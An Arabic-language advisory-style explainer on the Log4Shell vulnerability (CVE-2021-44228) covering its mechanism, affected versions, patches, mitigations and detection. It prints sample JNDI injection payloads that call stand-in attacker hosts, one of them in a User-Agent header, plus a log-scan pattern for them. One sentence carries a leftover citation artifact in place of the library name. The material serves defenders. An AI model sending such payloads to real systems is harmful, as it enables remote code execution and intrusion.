🚨 CVE-2021-44228 — “Log4Shell”

ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Apache Log4j 2، المعروفة على نطاق واسع باسم Log4Shell.

📖 جدول المحتويات

• نظرة عامة
• التفاصيل الفنية
• الخطورة و CVSS
• الإصدارات المتأثرة
• الاستغلال والتأثير
• الأثر الواقعي
• الكشف
• التخفيف والإصلاحات
• الخلاصة

🔎 نظرة عامة

CVE-2021-44228 هي ثغرة RCE حرجة في :contentReference[oaicite:0]{index=0} الإصدار 2.x (قبل 2.15.0)، اُكتشفت في ديسمبر 2021.

تسمح للمهاجمين عن بُعد غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية على الأنظمة الضعيفة بمجرد إرسال مدخلات مُعدة خصيصًا يتم تسجيلها بواسطة Log4j. يؤثر الخلل على عدد لا يُحصى من التطبيقات والخدمات المستندة إلى Java على مستوى العالم.

🧠 التفاصيل الفنية

ينشأ الخلل من معالجة Log4j لـ عمليات بحث JNDI في السلاسل المسجلة. يمكن للمهاجم تضمين مورد JNDI ضار في رسالة مسجلة (مثل LDAP، DNS)، على سبيل المثال:

${jndi:ldap://attacker.com/a}

يقوم Log4j بالتالي:

1. تحليل بحث JNDI من الإدخال
2. إجراء بحث عن بُعد إلى الخادم الذي يتحكم فيه المهاجم
3. تحميل تعليمات برمجية Java ضارة كجزء من عملية البحث
4. تنفيذ تلك التعليمات البرمجية داخل سياق التطبيق الضعيف

وهذا يسمح للمهاجم بتحقيق تنفيذ كامل للتعليمات البرمجية عن بُعد (RCE) على الخدمات المتأثرة.

📊 الخطورة و CVSS

نظرًا لاستخدام Log4j في عدد لا يحصى من المكتبات والتطبيقات، فإن أي نظام يسجل بيانات غير موثوقة قد يكون عرضة للخطر.

📦 الإصدارات المتأثرة

الإصدارات التالية من Log4j 2 هي قابلة للاستغلال:

> = 2.0-beta9 و < 2.15.0

بالإضافة إلى ذلك، كانت بعض تكوينات 2.15.0 لا تزال قابلة للاستغلال، لذا فإن 2.16.0 وما بعده هو الأساس الآمن.

🛠 العلاج والإصلاحات

✅ الإصدارات الثابتة الرسمية

قم بالتحديث إلى إصدارات Log4j 2:

2.17.1 أو أحدث

تعمل التصحيحات اللاحقة على تحسين الأمان بشكل أكبر (مثل 2.17.2، 2.19.0، إلخ).

🧱 التخفيفات المؤقتة (إذا تعذر التصحيح فورًا)

إذا لم يكن الترقية الفورية ممكنة، يمكنك:

• تعطيل عمليات بحث JNDI في إعدادات Log4j
• تعيين:

log4j2.formatMsgNoLookups=true

• إزالة فئة JndiLookup من مسار الفئات:

zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

تساعد هذه الخطوات في تقليل التعرض حتى تتمكن من التحديث.

🔥 الاستغلال والتأثير

استغلال هذه الثغرة سهل للغاية. يحتاج المهاجم فقط إلى إرسال سلسلة مُعدة (عبر رؤوس HTTP، معلمات النماذج، رسائل الدردشة، حقول قاعدة البيانات) يتم تسجيلها بواسطة التطبيق:

User-Agent: ${jndi:ldap://attacker.example/a}

بمجرد تسجيلها، سيقوم التطبيق بإجراء بحث عن بُعد ويمكن إجباره على تنفيذ تعليمات برمجية Java يتحكم فيها المهاجم.

🌍 الأثر الواقعي

كان لـ Log4Shell تأثير عالمي هائل:

• تعرض عدد لا يحصى من الخدمات العامة على الفور
• تأثر مزودو الخدمات السحابية، خوادم الألعاب، تطبيقات المؤسسات، إنترنت الأشياء، خدمات الويب، واجهات برمجة التطبيقات، والمزيد
• حشدت مجتمعات الأمان بأكملها لاكتشاف وتصحيح الأنظمة الضعيفة
• كان الاستغلال واسع النطاق، مؤتمتًا، وسريعًا

هذه واحدة من أكثر الثغرات أهمية منذ عقود.

🧪 الكشف

يمكنك اكتشاف الأنظمة الضعيفة عن طريق:

• فحص السجلات بحثًا عن أنماط JNDI مشبوهة (${jndi:)
• استخدام ماسحات الثغرات التي تتحقق من إصدارات Log4j
• مراقبة حركة المرور الواردة بحثًا عن محاولات استغلال
• التحقق من محتويات مسار الفئات لمعرفة دعم بحث JNDI

📌 الخلاصة

⚠️ التوصية النهائية

إذا كان تطبيقك أو أي مكتبة تستخدمها تعتمد على Log4j 2.x، قم بالتحديث فورًا إلى إصدار مصحح (≥ 2.17.1) وتحقق من تعطيل عمليات بحث JNDI أو إزالتها حيثما أمكن.